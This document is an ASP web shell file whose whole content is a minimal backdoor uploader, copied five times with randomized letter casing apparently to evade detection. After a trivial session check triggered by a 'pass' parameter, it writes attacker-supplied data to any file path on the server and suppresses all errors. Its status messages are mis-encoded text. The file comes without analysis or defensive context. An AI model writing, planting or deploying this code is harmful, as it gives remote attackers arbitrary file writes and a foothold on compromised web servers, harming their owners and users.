<%
On eRRoR rEsumE nExt
%>
<%
if request("pAss")=" " tHen
session("pw")="Go"
end If
%>
<%If session("pw")<>"go" theN %>
<%="
"%>
<%else%>
<%
set fso=seRveR.cReateobject("scRipting.filesystemobject")
path=Request("path")
if pAth<>"" then
data=reQuest("da")
set da=fso.createtextfile(path,true)
da.write data
if eRR=0 then
%>
<%="ϴɹ"%>
<%else%>
<%="ϴʧ"%>
<%
end if
err.clear
end iF
da.close
%>
<%set da=nothing%>
<%set fos=NothiNg%>
<%=""%>
<%end if%>
<%
on errOr rEsumE next
%>
<%
if requesT("pass")=" " Then
session("pw")="go"
end if
%>
<%if session("pw")<>"go" tHen %>
<%="
"%>
<%else%>
<%
set fso=server.creAteobject("scripting.filesystemobject")
pAth=request("pAth")
if path<>"" then
data=request("da")
set da=fso.creaTeTexTfile(paTh,True)
da.wriTe daTa
if Err=0 then
%>
<%="ϴɹ"%>
<%else%>
<%="ϴʧ"%>
<%
end if
err.clear
eNd if
da.close
%>
<%set da=nothinG%>
<%set fos=nothing%>
<%=""%>
<%end iF%>
<%
On eRRoR Resume Next
%>
<%
if request("Pass")=" " Then
session("pw")="go"
end If
%>
<%If session("pw")<>"Go" thEn %>
<%="
"%>
<%else%>
<%
set fso=serVer.createobject("scripting.filesystemobject")
path=request("path")
if Path<>"" then
data=Request("da")
set da=fso.createtextfiLe(path,true)
da.write data
if eRR=0 then
%>
<%="ϴɹ"%>
<%else%>
<%="ϴʧ"%>
<%
end if
err.clear
end if
da.close
%>
<%seT da=nothing%>
<%set fos=notHing%>
<%=""%>
<%end if%>
<%
on eRRoR resuMe next
%>
<%
if rEquEst("pass")=" " theN
sessiOn("pw")="gO"
end if
%>
<%if session("pW")<>"go" tHen %>
<%="
"%>
<%else%>
<%
set fso=seRveR.cReateobject("scRipting.filesystemobject")
path=Request("path")
if path<>"" tHen
data=request("da")
set da=fsO.createtextfile(path,true)
da.write dAtA
if Err=0 then
%>
<%="ϴɹ"%>
<%eLse%>
<%="ϴʧ"%>
<%
end if
err.clear
end if
da.close
%>
<%set da=notHing%>
<%set Fos=nothing%>
<%=""%>
<%end If%>
<%
oN Error reSume next
%>
<%
if request("pass")=" " tHen
session("pw")="go"
end if
%>
<%if SeSSion("pw")<>"go" theN %>
<%="
"%>
<%else%>
<%
set fso=server.CreateobjeCt("sCripting.filesystemobjeCt")
path=request("path")
if paTh<>"" then
data=request("da")
set da=fso.createtextfile(path,trUe)
da.write data
if eRR=0 theN
%>
<%="ϴɹ"%>
<%else%>
<%="ϴʧ"%>
<%
eNd if
eRR.cleaR
end if
dA.close
%>
<%set da=nothing%>
<%sEt fos=nothing%>
<%=""%>
<%End if%>
